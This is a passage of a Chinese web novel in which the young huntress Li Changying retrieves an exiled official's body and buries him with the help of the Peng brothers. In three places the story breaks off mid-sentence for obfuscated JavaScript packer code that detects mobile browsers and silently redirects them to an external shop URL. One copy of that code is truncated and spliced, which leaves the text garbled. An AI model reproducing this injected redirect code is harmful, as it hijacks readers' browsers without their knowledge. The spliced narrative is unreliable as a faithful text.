神志回归,不明所以。 厉长瑛重新跳了进去,不能立即给他解惑。 翁植便又陷入悲伤,眼泪和鼻血混着流。 不知过了多久,墙里又有了动静。 厉长瑛助跑几步,蹬着墙,翻上,双脚稳稳落地,“走了。” 翁植游魂一般跟在她后面。 直到走了许久,翁植才冷不丁地问:“你跳回去作甚?” 厉长瑛勾起嘴角,不怀好意。 驿馆,兵房—— 小吏倒头就睡。 然而没多久,睡梦中的人便开始扭动,抓挠、拍打全身。 浑身都痒,甚至像是钻进了身体,痒入骨髓。 衣服里密密麻麻痒无法消去,又隐隐作痛。 小吏的手越来越重,抓出一道道的伤口…… “放蚂蚁?!” 翁植震惊,“你从哪儿弄来的?” “屋外啊,你嚎的时候抓的。” 翁植掩面羞愧。 片刻后,他放下袖子,迟疑地开口:“你与堇小郎那时对拜……” 厉长瑛挑眉,“如何,我反应快吧,我可不能让他折我寿!” “……” 翁植想说像拜堂,无语地说不出了。 7.第 7 章 “天干物燥,小心火烛——” “咚——咚咚!” 打更人走过,三更天一慢两快的锣声、梆声在街巷中响起。 翁植家小院。 一指宽、一尺多长的长面条全都切好,铺满了案板。 泼皮和小山小月兄妹俩全都靠在灶坑前打瞌睡。 小月小小的身子倚在小山身上,小脑袋一点一点,终于,挺不住了,出溜儿滑落。 板凳栽歪,咣当落地。 泼皮和小山吓得浑身一激灵,睁眼。 “咋了?!咋了!” 泼皮紧张地环顾四周。 小月一只脚还搭在板凳上,迷懵地趴在地上,然后眼皮粘了胶似的,慢吞吞地关上。 “妹妹,不能在地上睡。” 小山掐着她的腋窝,使劲儿抱起来,太吃力,脸憋得通红。 小月被折腾醒,蔫巴巴地发了会儿呆,转向锅和案板,然后眼巴巴地望向泼皮和小山,满眼写着俩字儿——“想吃”。 “他们咋还没回来?”小山满脑子都是危险的幻想,渐渐惊恐,“不会回不来了吧?” 泼皮拍打两下脸颊,打到青肿处,“嘶——”了一声,人也精神了,“有那个母老虎,不长眼的送上去,都是入虎口的食儿,不够塞她牙缝呢,” 小山只看见俩人的伤,没看见厉长瑛动手,“真有那么厉害?” “老子在这邺县三教九流中,也算是个人物了,不说身手,想抓我那绝对不容易。” 泼皮为了找回面子,抬高自个儿,然后脸一变,又借着极力抬高厉长瑛,表示他受伤不是因为他弱,是厉长瑛变态。 “我和老翁再如何也是两个大男人,哪里那么容易被收拾,实在是那个母夜叉力大无穷,凶恶无比。” “当时她一拳下去,老翁当场就动弹不得了,我想着,只能靠我了啊,危急时刻,我抓起一根柴就冲向她,被她一把夺去,勾拳砸在我脸上,拳头比锤子还疼。” 泼皮说书似的给自个儿加戏,夸大事实,边说边比划,还给两个小孩儿展示他脸颊上的一处伤。 小山追问:“然后呢?” 小月也盯着他。 “我当然是奋起反抗,打了好几个回合,可惜受伤惨重,还是不敌。”泼皮故意吓唬孩子,“她那么凶残,可小心点儿,说不上你们时候就挨打了。” 小月吓住,呆呆地抬手捂眼睛,动作慢的跟小乌龟似的。 “她只打你们了,没打小孩儿。”小山的畏惧不深,反倒有些慕强,小大人似的叹气,“可惜你长得又丑又挫,翁叔也太老了,不然咱们想办法留下她多好,我们肯定比以前过得好。” “那么凶悍的女人,谁敢沾边儿,我喜欢的是话本里说的那种知书达理的小姐。” 泼皮表情从敬谢不敏到荡漾。 小山嘲讽他没有自知之明,“话本里,小姐爱的都是书生,又不是泼皮无赖。” 泼皮争辩:“那是酸腐书生写得玩意儿,我写话本,我也能是主角。” 小山撇嘴,“你大字都不认几个,还写话本……” 两人正拌着嘴,听到敲门声,纷纷停下来细听。 “我们回来了,开门。” 是翁植的声音。 小山跳起来,跑过去开门。 厉长瑛和翁植先后进来,皆情绪平平。 泼皮重新点火,带着对高门大户的窥探欲,问起魏家的事儿。 翁植精神萎靡,随便应付着说了几句。 他倾诉发泄一场,又眼见魏公这般下场,有些东西释然了,有些东西却更难以看清,“世道黑暗,究竟造就了什么?” 泼皮听不懂,也没觉得魏家人多惨,“恁大个官儿,说完就完,不过也不亏了,过了那么些年的富贵日子。” 小山跟着点头。 同情?同情什么?他们吃得就是人间疾苦。 生离死别?死人他们见多了,他们自个儿也保不准儿哪一天就嘎了呢,有人为为他们哭吗? “汤开了,快下面。” 泼皮语气欢快。 小山和小月也都扒在灶台边儿上,盯着锅里的汤和面。 他们今朝有酒今朝醉,有一日过一日。 厉长瑛不似泼皮他们这般消极的得过且过,也不似翁植那样儿较真儿,非要辨明个黑白是非真理。 “我天亮就离开,那魏家的小公子拜托的事情,可能不在明日,只能由翁先生办了。”她从箩筐里取出野物换来的粟米,全都递向翁植,“这些米,就当是我的援手,可以进出城交粮。” 翁植不免有些急,“厉姑娘,不能多留几日吗?” 厉长瑛不解,“为魏老大人收尸并非难事,我年轻气盛,翁先生阅历丰富,自然更妥当啊。” 魏堇拜托之事,便是为魏老大人收敛尸首,还塞给了他们一块儿水头极好的玉坠典当。 虽然他们很奇怪魏老大人好歹做过帝师,为何不能由子孙亲自埋葬,但翁植来做,也恰如其分。 而她就是个力工。 力工最容易替代。 这一点,厉长瑛深有感触。 翁植无言以对,尴尬地摸摸胡子,“厉姑娘妄自菲薄了。” 锅里的鸡汤翻滚,浓香四溢。 厉长瑛不由地走神,摆摆手,很坦率道:“我一穷猎户,力所能及,绝不推辞,不过我与父母有言在先,便不好拖延,免得他们为我担忧。” 远近亲疏,外人再如何也比不得父母,况且能做的她也做了,为了担别人的事儿疏忽父母,她万万做不到。 “是,你所虑甚是,理应家人优先,答应魏家的事,翁某会负责。” 两人达成共识,玉坠也交到翁植手中,厉长瑛便彻底抛开此事,专心等面熟。 泼皮手中筷子搅着锅里的面,眼睛分神盯着玉坠,垂涎不已,“老翁,让我看一眼呗,没见过好玩意儿呢。” 翁植没心情搭理他,收起玉坠,心不在焉地瞥向厉长瑛。 厉长瑛目光灼灼地看锅,比干正事都专注,提醒:“面熟了吧。” 泼皮一下子收回注意力,筷子夹起一根面,掐断,“熟了!” 小山拿了碗筷过来,盛出来的第一碗面,率先递给了厉长瑛。 泼皮也没有觉得不应该。 翁植看着这一幕,眼神闪了闪。 魏堇拜托时,口中说的是“二位”,实际上目光所及、拜下的方向对着的都是厉长瑛。 魏家人自打知道翁植和厉长瑛出现的前因后果,与厉长瑛接触后了解了她的心性,又有魏老大人的评价,明显更信任的,是厉长瑛。 泼皮、小山对她的畏也不是恐惧厌恶,更像是……敬畏和信服。 就连翁植……也是刚才才发现,他这么大岁数的男人,竟然不自知地对初相识、还削了他们一通的厉长瑛有些依赖。 她只是个十七岁的姑娘! 这实在不可思议。 为什么呢? 翁植若有所思。 绝不会是因为她有拔山盖世之本领,尚不知此,且天外有天人外有人,比她强的必然大有人在。 她还青涩莽撞,轻信于人,也并不圆滑,更没什么才学…… 可是…… 翁植目不转睛地看着厉长瑛,渐渐明晰。 她这个人,有如皎日,来去清白,以赤诚热烈之心行事,会让人觉得……前路尚有希望。 翁植想,魏老大人和他能在当下得遇厉长瑛,未尝不是承天之佑。 或许可以再振作一次…… “哇——” 小山突如其来的赞叹声打断了翁植的思绪。 翁植抬眼,浑身一滞。 厉长瑛饕餮似的,暴风吸入,三口一碗面便见了底。 小山和小月张大了嘴巴,满眼地崇拜,好能吃!好厉害! 厉长瑛神采飞扬地给两孩子展示她的空碗,又去盛第二碗。 泼皮则边警惕地盯视厉长瑛,边狼吞虎咽,大有一较高下之意。 翁植:“……” 无语的无以复加。 他活了快四十载,认识厉长瑛一日夜,无语凝噎的次数太高了些。 而就这功夫,厉长瑛第二碗又要见底了。 没见过这么能吃的女人。 怪不得她让泼皮全做了。 翁植吹胡子瞪眼,什么文人风雅,什么振作,且等下一次吧。 速度才是制胜的关键。 翁植也赶紧端起碗,筷子使出残影。 一大锅面,连汤带水,很快一扫而空。 长期饥饿,难得放开了吃,还是深夜饱食一顿,几人皆幸福满足地喟叹。 一夜安稳。 翌日一早,急促的敲门声敲醒了清晨。 厉长瑛早就起来准备离开,打开院门。 来人是个矮小的男人,拿了魏堇的好处找过来报信儿:“他说拜托的事情,今日就得兑现。” 厉长瑛和随后出来的翁植对视一眼,立即便明白,魏老大人……走了。 翁植霎时郁抑,强打起精神追问他从哪儿得到的消息,待到得知是在路上,便又追问方向。 而同一时间,厉长瑛进屋,干脆利落地一脚揣在他屁股上。 泼皮睡得正香,猝不及防地掉在地上。 厉长瑛直接安排:“赶紧去买办丧事要用的东西!还得有个板车。” 泼皮呆坐在原地,懈怠。 厉长瑛回头见此,皱眉。 泼皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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魏老大人的尸身被他们从魏堇背上撕了下来。 那个过程,仿佛皮肉生生从骨上分离,痛彻骨髓。 两个士兵抬着尸首,走向荒林。 “祖父——” 魏堇声嘶力竭,奋力向前。 两个士兵死死拽着他的手臂,再冷硬的心也有些于心不忍,可他们只能听令行事。 魏家其他人也都在哀鸣。 押送官眼里满是癫狂的兴奋,在魏堇耳边道:“我们也是得了上头的吩咐,必须如此,怪就怪你们魏家人不识趣,偏要踩着不该踩的人博好名声。” 士兵丢弃废物一样随手丢开尸首。 他的祖父到底还是曝尸荒野,魏堇一直攒着的一口气……散了。 那个人,杀死了魏家所有的成年男丁,欺凌一路,还不准魏家人为老爷子敛尸入土。 他要打碎魏家人的脊梁。 他要成功了…… 大悲无声。 仅剩的魏家人们像是被抽掉了脊梁骨,一下子全都呆怔在原地,失魂丧魄。 天空不知何时阴云密布,突然狂风大作,刮得瘦弱的人摇摇晃晃,不多时,噼里啪啦地声音急促地撵过来,暴雨倾盆。 瞬间,所有人都浑身湿透。 失魂的母亲本能地抱住了幼小的孩子,为他们遮风挡雨。 天气恶劣,无法赶路。 押送官不得不吩咐原路返回。 士兵们大力拖拽魏家人离开。 魏堇和魏家其他人的精气神都落在了那片荒林中,头一直愣愣地朝后。 “什么人!” 前方士兵厉声呼喝。 一道卑微懦弱的声音响起,“过路,小的家里等着,急着回去……” 魏堇耳朵微动。 雨幕之中,一道黑影缓缓现出轮廓,逐渐清晰。 厉长瑛肩上背着麻绳,拖着板车,一脚一脚扎实地踩着稀泥,拨开雨幕而来。 魏家人的神色在雨水的冲刷下,明净起来。 她言出必行。 她来了! 每一个魏家人都不受控制地颤抖。 厉长瑛没有靠近他们,朝着士兵们露出个拘谨的笑,完全不认识魏家人一般,艰难地拖着板车让至路边。 双方在雨中平行、交错、背向、远离…… 厉长瑛回头看了一眼,便拖着板车继续冒雨向前,渐渐又成了雨幕中的一道黑影。 魏堇蓦地驻足,不顾士兵的拉扯转身,无半分迟疑地撩起下摆,膝盖落地。 魏家的女人们见状,也都拉出孩子,推着他们跪在泥泞中。 8.第 8 章 风雨飘摇间,天地一逆旅。 世间仿若陷入虚空之境,只有厉长瑛一个活物。 头戴斗笠,雨水依旧打得人睁不开眼,耳朵里除了雨声,什么声音都没有。 板车上,一层草席遮盖,上面又铺了厚厚的干草,勉强遮一些雨。 厉长瑛蓑衣下,两肩上背着拖板车的粗麻绳,空出来的手,一只拿着白幡,一只从蓑衣下拿出一张又一张纸钱,高高扬起。 她深一脚浅一脚地拖着板车在泥泞中艰难行走,雨水太重,纸钱暴露瞬间湿透,脱手便坠地,在身后拉成了一条线,指引着归客的黄泉路。 早晨他们得知消息时,魏家人已经离开驿馆要出城,太过匆忙,玉坠当不出去,便是多问两家急当出去肯定也是被压价贱卖,怕是连一口棺材都买不起。 他们只能划拉出身上所有的东西,弄来板车和一些办丧事的用品。 英雄也为五斗米折腰。 翁植他们没有能力出来再回去,她一个人,两手空空,也进不去县城,只能带着收敛起的尸首独自冒雨上路。 厉长瑛记得,她来邺县走得那段路,路过一间废弃的破庙,便打算去那里暂时避雨。 …… 熟悉的山头—— 厉长瑛走前,可三人平躺的小棚屋外搭了更大的新棚子,没有围挡。 棚下,干柴靠棚屋墙堆成一垛,夫妻俩并排坐在门前,腿前火堆烧得正旺,上头架着锅,热气腾腾。 玉珠坠珠帘,营造出一方只有夫妻彼此,没有孩子打扰的静谧世界。 厉蒙大手不老实地缓缓抚上妻子的腰…… “啊——哦,啊啊——” 温馨的气氛“啪”地碎了。 厉蒙:“……” 没有闺女,还有驴。 林秀平膝上搭着厚衣,双手握着热水碗,担心,“阿瑛不会冒雨赶路吧?” 厉蒙一碗热水灌入腹,脾胃皆暖,“虎也没那么虎吧?” 废弃破庙前—— 厉长瑛拽着板车,出现在庙外。 这时节的雨,冰冷刺骨,饶是她身强体壮,也难捱,终于见着建筑物,有种历经苦难终于到家了的欢欣雀跃。 木轱辘上粘满了泥巴。 厉长瑛吃了大力丸似的,完全不受影响,双手握着板车把手,三步并作两步踏进庙门。 庙里,早有两伙人,隔着距离各占一边。 占西边儿的一伙有六个人,全都是身强体壮的男人,年龄看起来从十几岁到四五十岁不等,面貌相似,像是一家人。 另一伙人更多一些,十几个,占的地方更大,偏中间都是他们的位置。多是男人,眼神更凶邪,两个看不出年龄的女人在其中,神色畏畏怯怯的。 他们全都盯着突然出现在庙门前的厉长瑛。 “女的?” 人多的那伙人里,一个络腮胡男人不怀好意地打量着厉长瑛和她身后的板车。 外面大雨纷纷,厉长瑛的斗笠蓑衣下着小雨,哗哗滴水,手里的白幡完全飘不起来,水顺着木棍成溜地流下。 整一个落汤鸡。 她只有一个人,双拳难敌四手,女人在乱世也更危险。 万一,他们再以为她带着什么值钱的玩意儿,危上加危…… 厉长瑛眼神在两方人来回,衡量片刻,坦白交代:“我路过此地,板车上是一具尸首,可否容我带进庙躲雨?” “死人?!” 两伙人发出此起彼伏的震惊声,眼神也都变得更诡异。 东边儿那男人全都拉着脸,“死人不能进!” 西边儿那伙儿人里,一个身材高大、头发胡子潦草的像野人的男人则发出疑问:“这是你死去的亲人?” 他声音浑厚,比外表年轻一些。 她带着死人,进到别人先落脚的地方,旁人也忌讳也是正常。 厉长瑛好言好语地回道:“不是。” 潦草男人霎时眼神厌恶,“不是你还带着他?你该不是……” 厉长瑛反应了一下,飞速打断:“停止你邪恶的想法,没有,不可能!” “打什么哑谜!” 另一伙儿人言辞激烈地反对,“滚出去!晦气!” 厉长瑛没理他们,转头对明显更讲理的潦草男人道:“这里本就是庙,就算废弃了,从前应该也停过灵,我只停在门口,不淋雨便好。” 男人身边,一个年纪更轻的半大小子满眼好奇,“不是亲人,是友人吗?” 厉长瑛认真道:“是个大好人。” 好人还不止,还加个大? 半大小子问:“有多好?” “我与他萍水相逢,他也待我如子侄。” 半大小子一本正经地点头,“那真的是好人。” 厉长瑛郑重地点头,“所以我为他收尸,也要帮他入土为安。” “那你也是好人啊。”半大小子扭头,冲着潦草男人道,“哥,让她进来吧。” 另一伙人被他们忽视,恼怒不已,纷纷站起来,凶恶外露,“你们还唠起来了!臭娘们儿,你没听到老子说话吗!” 厉长瑛从蓑衣里抬起手,弹出两根手指,“少数服从多数,二比一,我能进来。” 少数服从多数是这么用的吗? 那伙人脑子短路了一瞬。 半大少年单纯,手指在他们自个儿的人上点过,又加上厉长瑛,心虚地小声道:“咱们不是人少吗?” 潦草男人看了眼厉长瑛,绷着脸,喝斥他:“闭嘴。” 半大少年不知道他哪儿说错了,委屈巴巴地闭嘴。 厉长瑛冲他们友好一笑,而后转身,双手从板车车把上挪到板车两侧,直接举起来,牙关咬得死紧,蓑衣下手臂和双腿肌肉紧绷,手背上青筋暴起,表面上却是轻而易举地端着板车走进庙里。 两伙人全都瞪大了眼睛。 脚步声敦实,随着她的步伐捶在他们心上。 这是个女人?! 厉长瑛装了把大的,“轻拿轻放”后,手臂在蓑衣里不着痕迹地甩了甩,随后摘下斗笠,解开蓑衣,随手扔在板车把手上搭着。 整个人清清楚楚地露出来。 厉长瑛不是壮硕如熊的女子,可她身形也绝不瘦弱,庙中另两个女子便是鲜明的对比。 只有这样的女子,才能在乱世里有尊严地活下去。 两个女子看着她,眼神妒忌。 厉长瑛是英气勃勃的长相,不是惯常容易教男人起色心的相貌。 不过有些低劣的男人,但凡是个女人,都能起淫邪的念头,更何况她还长得挺不错。 那一伙男人有几个打量她的目光渐渐变成令人生厌的凝视,时不时划过她的领口、胸前、腰…… 厉长瑛很不舒服。 想干一架。 可是赤手空拳,可能打不过,会吃亏…… 让她躲闪,她又憋屈。 而那头的几个人也发现了他们的龌龊,颇为鄙夷看不上。 半大小子对厉长瑛很感兴趣,忘了闭嘴,招呼她:“姐姐,过来烤烤火吧。” 厉长瑛看向明显拿主意的高大男人。 男人点了点头,有维护之意。 厉长瑛露出笑脸,道了声谢,神情明朗地说:“我擦擦水。” 众人皆以为她是要擦自己。 紧接着,厉长瑛就开始对着板车忙活。 湿透的干草拿走,掀草席时手顿了顿,才掀开来。 魏老大人几乎还是生前的模样,就像是睡着了一般,浑身都是脏污,没来得及收拾。 他应该保有死后的尊荣,厉长瑛没有将他露在那些人面前,立起了草席,用麻绳固定在板车一侧,挡住旁人的视线。 随后,她便开始替魏老大人打理遗容,边打理,边对着他碎嘴子念叨: “我没经验,做的不好。” “事急从权,我只能粗略地收拾,您委屈委屈。” “寿衣买的匆忙,我们也没啥钱,料子粗糙了些,不过干净,您别嫌弃……” 期间,表情没有任何害怕,甚至是虔诚的……愉悦的…… 极不正常。 就像是……她已经司空见惯了。 什么人能对死人司空见惯? 两伙人全都浑身发毛。 而厉长瑛还时不时抬头,朝东边儿诡异地浅笑。 变态是吧…… 凝视是吧…… 为了自保,她选择忍辱负重地当个“神经病”。 厉长瑛眼神从未有过的温柔,也从未有过的变态。 那些男人直面她的目光,头皮发麻,背后发凉……哪里还有什么淫邪的念头,看都不敢多看一眼。 厉长瑛收拾完,才走向庙西那六个人。 那半大小子缩了缩脖子,一反之前的热情,成了胆小的鹌鹑,一对上她的视线,赶紧撇开。 其他男人表情也都有些不自然。 唯有那个做主的男人,看起来很是淡定。 厉长瑛便坐在了他身边,自我介绍:“我叫厉长瑛,是个猎户。” 男人没反应。 厉长瑛奇怪地看向他,便发现,他冻住了。 “……” 原来不是淡定,是害怕的僵硬了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222787|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 其他五个人都回避着她的视线。 气氛怪异。 厉长瑛不得不小声解释:“我故意的。” 故意的啊~ 半大小子转瞬便活泼起来,向厉长瑛介绍他们自己。 他们是一家人,年纪最大的爹叫彭雄,潦草男人是老大,叫彭鹰,老二叫彭狮,老三叫彭虎,老四叫彭豹,老幺就是他,叫彭狼。 厉长瑛听完,夸赞:“好记又有气势。” 一家子兄弟都是动物园儿出来的。 彭狼兴冲冲道:“我也觉得我们兄弟特别有气势,都是山里凶猛的野兽!” 他说完,表情忽然变得奇怪,指指厉长瑛,又指指他自己,“你是猎户,我们是野兽……那不正好打我们吗?” 厉长瑛:“……” 彭家其他人:“……” 别说,还真别说…… 厉长瑛此时情商和眼色达到了高点,转移话题:“我这裤腿儿和鞋都湿漉漉的,得烤烤。” 转移的十分生硬。 彭鹰已经缓过来,问:“你不怕吗?萍水相逢,别人恨不得躲远远的。” 趋利避害,人之常情,但厉长瑛她怕的不是死人,魏老大人也并不可怕。 非要说的话,她怕的,其实是死亡…… 厉长瑛道:“人有血有肉地活着,总有些事情,一定得做,怕会生退,那还不如无所畏惧。” 彭家兄弟几个对视,认同地点头,瞧着她的眼神都更温和了。 外头雨一直下,不见小。 厉长瑛和彭家人围坐在一起干烤火,期间就喝了点儿烧的热水,饿了也喝热水。 她这处境,完全是饱一顿,饥一顿,饥两顿,饥三顿…… 为了转移对饥饿的注意力,只能闲聊。 厉长瑛好奇地问了一句:“你们也是逃难吗?家里没有女人吗?” 彭狼大喇喇地掀了家底,“我娘前几年病死了,我们家穷,我哥他们都娶不上媳妇儿。” “彭狼!” 彭家四个兄长齐齐喝止他。 农家娶不上媳妇儿也是极丢人的事儿,更丢人的是,那么多男人,一个都娶不上。 厉长瑛作为“没人愿意娶”的姑娘,勉强也能理解他们,再次有眼色地略过这个话题,转到逃难的问题上。 彭狼没心没肺,“我哥他们当兵,打输……” “彭狼!” 这一次,彭鹰的表情格外严肃,满眼的警告。 彭狼立时捂住嘴,浑身上下都写着“我不能说”,明显的不得了。 厉长瑛:“……” 看来她又转移错了话题。 今日的社交不太成功,总是聊死天儿。但症结也不全在她,彭狼可能是他们家的卧底。 两个罪魁祸首对视一眼,消停地不再继续交谈。 雨下了半日,终于停了。 厉长瑛急着赶路,便起身向彭家人告辞。 外头肉眼可见地更加泥泞。 厉长瑛瞅了眼板车,思考片刻,打算弃车背着人走。 正要动作,彭家兄弟几个走过来。 彭鹰道:“我们帮忙抬吧。” 厉长瑛意外,“不耽误你们行程吗?” “不是大好人吗?”彭家四个兄长一人站一个角,彭鹰道,“那就不是耽搁,是积德。” 红事不请不到,白事不请自来。 无人抬棺,潦草收场,人生最后一程走得不够体面,是天大的事儿。 厉长瑛一个人也会尽力,可有其他人即便不知道魏老大人的过往,也愿意送一个萍水相逢的好人一程,厉长瑛胸中鼓胀,重重地答应。 “嗯!” 她重新为魏老大人盖上草席,固定好边角,便举起白幡。 彭狼接过纸钱。 彭父走到前面,大声喊起号子: “众人听好嘞--” 彭家兄弟中气十足地应:“哎--” “日落西山了--” “哎--” “最后一程了——” “哎——” “起棺手稳了——” “哎——” 四人稳稳当当地抬起了“棺”。 “白幡开路了--” “哎——” 厉长瑛跟着彭家兄弟一起大声应,踏出步子,引路亡魂。 “小鬼打发了——” “哎——” 纸钱洒向天空。 “脚下莫打滑——” “哎——” “善人走好了——” “哎——” 9.第 9 章 魏老大人埋葬在厉家人暂时落脚的破旧山神庙旁边。 彭家兄弟帮着魏老大人入土为安,有的帮着挖坑,有的帮着砍树打棺材,有的帮着搬石头垒坟…… 厉家父母对这一场白事十分地莫名其妙,却也没有当着彭家人的面儿说什么,知道是厉长瑛主使的,还按照礼数为抬棺出力的彭家人提供饭食。 林秀平熬了一大锅粟米粥,米多汤少,极为浓稠。她还拿出了厉家的存肉和干菜,炖了一大锅。 彭家人也饿了许久,干活的时候闻着味儿,肚子全都叫得响亮,眼睛控制不住地瞥向锅。 林秀平面带笑容,“很快就能吃了。” 粮食极为珍贵,彭家人得知厉家竟然愿意招待他们,干得更加卖力,甚至试图排挤走厉长瑛。 彭鹰还一本正经地称:“你一个姑娘,别干这些重活。” 彭家其他人点头如捣蒜。 厉长瑛看看手里的斧头,又看看地上那根比大腿都粗的树,“……” 她都已经忙活半天了,他们现在想起她是个姑娘了? 食色、性也,饮食男女,都是一张嘴在前头,原来在这儿有解释呢。 厉长瑛小声跟她娘蛐蛐:“可能他们娶不上媳妇儿,不全是因为穷。” “……” 林秀平一言难尽,“你先把斧头放下再说话吧。” 五十步笑百步。 厉长瑛不放,她又去砍了一棵树,扛着从她娘和彭家兄弟跟前走过。 林秀平有点儿头晕,揪着厉蒙的袖子,“你看看你们厉家的种~” 厉蒙一脸自豪,“这不挺好吗。” 林秀平窒息。 他们夫妻不可能一直陪着女儿,厉长瑛却很可能会孤独终老,没有母亲希望孩子孤苦伶仃,她实在没法儿不生出执念,于是再看向彭家几兄弟,眼神便多了些深意。 先机要靠抢,捞鱼要广撒网,不能指望天上给缺心眼儿掉馅饼。 都是壮劳力,活干得又利索又干净,一结束,林秀平叫他们洗手吃饭,暗地里又悄悄跟厉蒙交代了几句。 厉蒙领着彭家人去不远处小溪清洗,当着彭家人的面,自然地拿出一把小刀,刮起胡子,然后热情地问他们用不用刮。 都逃难了,谁还注意外表。 彭家全是糙汉子,不拘小节,也就彭狼年纪小,不长胡子,脸才干净些。 现下,高大威武的厉蒙一问他们,彭家人对比着他们潦草的大胡子和厉蒙硬朗的轮廓,默默接过了小刀。 厉家三口人逃难也收拾得都整整齐齐,对比之下,他们日子过得极其敷衍了事。 两刻钟后,厉蒙带着洗心革面的彭家人回到驻扎地。 厉长瑛饿得两眼发绿,直勾勾地盯着锅,一点儿多余的精神都分不出去。 林秀平不着痕迹地扫过彭家兄弟。 个头都比厉蒙稍矮一些,但身体都还算高大壮硕,模样周正,眼睛是眼睛鼻子是鼻子的,最主要的是,眼神就算不机灵,也很正派。 干活不用多说,最主要的是,全是劳动力,没有一个拖累。 年纪嘛…… 彭狼才十三岁,年纪小,不在她的衡量范围内。 彭家老大、老二看起来都有些大了,老三、老四年纪倒是还好,就是瞅着没有老大有主见…… 林秀平想悄悄问问女儿的想法,转头看见她盯食儿的深情样儿,顿了顿,迅速放弃了。 问她没用。 林秀平笑着招呼道:“就等你们了,快来吃。” 彭家人挨挨挤挤地围坐在棚下,端着碗闻着香味,没急着狼吞虎咽,向厉家感激道谢后才开动。 彭鹰好心提醒:“以后你们还是小心点儿,要是碰见心术不正的,瞧见你们有吃的,可能会动杀念。” 林秀平看他们更满意了一分,哪怕不是为了相女婿,人品也值得交。 旁边儿,父女俩心无旁骛地吃,体会不到她一丝一毫的良苦用心。 林秀平不禁斜父女俩,嗔道:“吃吃吃,就知道吃,人家好心提醒,你们也不知道道个谢。” 父女俩很无辜。 有的人,在外面独当一面,在亲娘\媳妇儿面前,脑子就是半个摆设。 厉家武力值最低的是林秀平,最细心最周全的是林秀平,最不能惹的,也是林秀平。 她拿捏父女俩易如反掌。 父女俩上山打猎,很容易受伤,为此,早年她拿出大半嫁妆求了村里的毛脚大夫许久,又保证不为旁人看病赚钱,总算学到了止血、包扎、熬制药膏…… 虽然只懂皮毛,看不了什么病,但出门在外,肯定会多准备一些。 驱虫蛇的药粉就是她自个儿弄出来的。 还有一些口口相传不能吃的东西,她乱七八糟混在一起制成了粉,从来没用过。 林秀平瞧着只是个柔弱无害的妇人,煮饭菜的时候如果趁人不注意,下一把药粉进去……厉家人自己都不知道会有什么效果,会不会要命。 厉长瑛乖乖道谢。 厉蒙也放下碗冲人抱拳。 彭鹰摆手,“你们不嫌我多事就好。” “怎么会,咱们出门在外,是得小心为上。” 林秀平笑盈盈地给年纪最小的彭狼夹了块肉,“小狼,别拘谨,尽管吃。” 彭狼从小就没接触过女性长辈,见她这么温柔,耳根都红了,吃得越发细嚼慢咽,不像是他了。 林秀平问他们打算去哪儿,“若是同路,咱们倒是可以结伴。” 彭狼眼睛亮晶晶地看向大哥彭鹰,期待。 彭鹰婉拒了,“我们要去河间郡。” 林秀平不知道河间郡在什么方位,扭头望向父女俩。 厉蒙也不知道,但是不想在妻子面前露怯,便作出一副从容自若的神色,示意厉长瑛说。 厉长瑛摇头,“从前顺路,现在咱们要改道往太原郡方向走了。” 她还没来得及说此事。 林秀平有些意外,但她去邺县的一个重要目的就是问路,改道肯定有原因,和厉蒙对视一眼,便改了口:“那真是遗憾。” 不过她不死心,又问彭家人去河间郡做什么,“如果是要逃难,也可以跟我们同行,互相有个照应。” 彭狼张嘴,彭鹰怕他多嘴,抢先道:“我们有个远房亲戚在河间郡做事,是为了投奔他才去的。” 彭家人有所投奔,林秀平便止了话,没再强人所难。 一众人皆埋头大吃。 彭家六个男人,再忍着克制着,所有的饭食还是风卷残云地扫空,一粒米都没剩下。 他们很不好意思。 厉家人皆未表现出心疼介意。 要是怕人吃,何必做,既然做了,当然要表现出大方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254278|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两家都不是小家子气的人,脾性颇为相投,是以彭家人提出告辞的时候,竟然也有些惆怅不舍。 一场雨,道路泥泞,又要翻山越岭,在野外走了半日一夜,到了又帮忙尽快下葬,若是没有彭家人,厉长瑛必定要多吃不少苦头。 厉长瑛再次郑重地向他们道了谢。 彭鹰同样郑重,专门对厉长瑛道:“这一路上,见到的多是惨状,我们怕惹麻烦也总是冷眼旁观,遇到厉姑娘,听了你的作为,属实惭愧,乃是心甘情愿送人一程。” 谁不想所见皆是善意。 只是见多了令人齿寒之事,心才冷了。 “其实想来,我们一家既有余力,若见不平,援手一二,也是行善积德。” 彭鹰站在父亲弟弟们前面,带头抱拳,“三位,山高水长,有缘再见。” 厉家父女俩抱拳回礼。 在路上,偶尔结缘,分别才是常态。 彭家人走了,他们不嫌弃板车拖过死人,便将厉家多余的板车一并带走,省着他们还得将家当都背着身上。 厉家三口人一直目送他们身影消失在山林间的小路中。 厉蒙忽然变了脸,“你倒好,猎物没了,一粒米没带回来,还倒搭了咱们家的米。” “……” 厉长瑛理亏,“也不是没有收获,我路问清楚了!” 她说到后来,气儿又稍微壮起来。 厉蒙问她:“那老人家是怎么回事儿?” 厉长瑛对父母自然是实话实说。 厉蒙和林秀平听完,沉默许久。 